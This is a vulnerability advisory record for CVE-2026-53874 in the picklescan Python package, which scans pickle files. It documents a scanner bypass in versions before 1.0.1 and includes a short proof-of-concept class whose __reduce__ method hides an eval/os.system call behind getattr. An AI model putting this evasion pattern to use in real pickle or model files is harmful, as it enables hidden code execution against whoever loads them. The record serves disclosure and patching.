{"id":"CVE-2026-53874","aliases":["CVE-2026-53874","GHSA-9m3x-qqw2-h32h","PYSEC-2026-1789"],"related":[],"kind":"vulnerability","state":"published","title":"picklescan - Arbitrary Code Execution via Obfuscated eval Call","summary":"picklescan before 1.0.1 contains an unsafe deserialization vulnerability allowing unauthenticated users to execute arbitrary code by hiding eval calls nested under callable objects via getattr. Attackers can embed malicious code in pickle files that evades detection but executes when the pickle is loaded from untrusted sources.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"picklescan before 1.0.1 contains an unsafe deserialization vulnerability allowing unauthenticated users to execute arbitrary code by hiding eval calls nested under callable objects via getattr. Attackers can embed malicious code in pickle files that evades detection but executes when the pickle is loaded from untrusted sources.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nAn unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the host loading a pickle payload from an untrusted source.\n\n### Details\n\nIt's possible to hide the `eval` call nested under another callable via `getattr`.\n\n### PoC\n\n```python\nimport builtins\n\nclass EvilClass:\n    @staticmethod\n    def _obfuscated_eval(payload):\n        getattr(builtins, \"eval\")(payload)\n\n    def __reduce__(self):\n        payload = \"__import__('os').system('echo \\\"successful attack\\\"')\"\n        return self._obfuscated_eval, (payload,)\n```\n\n\n### Impact\n\nWho is impacted? \nAny organization or individual relying on picklescan to detect malicious pickle files from untrusted sources.\n\nWhat is the impact? \nAttackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\n\nSupply Chain Attack: Attackers can distribute infected pickle files to system that load serialized ML models, APIs, or saved Python objects from untrusted sources.","format":"markdown","source":"ghsa"}],"published":"2026-02-02T20:45:20.000Z","modified":"2026-11-08T14:05:11.574Z","severity":{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.3,"rating":"CRITICAL"},"severities":[{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.3,"rating":"CRITICAL"},{"scorer":"VulnCheck","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"}],"cwes":["CWE-502"],"affected":[{"ranges":[{"type":"semver","introduced":"0","fixed":"1.0.1","status":"affected"},{"type":"semver","version":"1.0.1","status":"unaffected"}],"vendor":"picklescan","product":"picklescan","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.0.1"}],"ecosystem":"PyPI","package":"picklescan","purl":"pkg:pypi/picklescan","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.0.1"}],"ecosystem":"PyPI","package":"picklescan","purl":"pkg:pypi/picklescan","source":"pysec"}],"references":[{"url":"https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9m3x-qqw2-h32h","tags":["exploit","vendor-advisory","web"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-obfuscated-eval-call","tags":["third-party-advisory","web"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53874","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/mmaitre314/picklescan/pull/59","tags":["web"],"sources":["ghsa","pysec"]},{"url":"https://github.com/mmaitre314/picklescan/commit/173c8f2a869ea9b69b543477525ec70611c3c6f4","tags":["web"],"sources":["ghsa","pysec"]},{"url":"https://github.com/mmaitre314/picklescan","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://github.com/mmaitre314/picklescan/releases/tag/v1.0.1","tags":["web"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/picklescan","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-9m3x-qqw2-h32h","tags":["advisory"],"sources":["pysec"]}],"credits":["ogrisel"],"assigner":"VulnCheck","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-06-23T01:59:41.046Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-53874","url":"https://www.cve.org/CVERecord?id=CVE-2026-53874","licence":"CVE Terms of Use","modified":"2026-11-08T14:05:11.574Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-9m3x-qqw2-h32h","url":"https://github.com/advisories/GHSA-9m3x-qqw2-h32h","licence":"CC-BY-4.0","modified":"2026-07-07T17:56:11.014Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-53874","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53874","licence":"Public domain","modified":"2026-06-23T03:16:41.477Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-1789","url":"https://osv.dev/vulnerability/PYSEC-2026-1789","licence":"CC-BY-4.0","modified":"2026-07-07T17:48:02.259Z"}],"updatedAt":"2026-11-25T22:59:24.982Z","epss":{"score":0.00757,"percentile":0.51493,"date":"2026-11-30T12:00:22.000Z"}}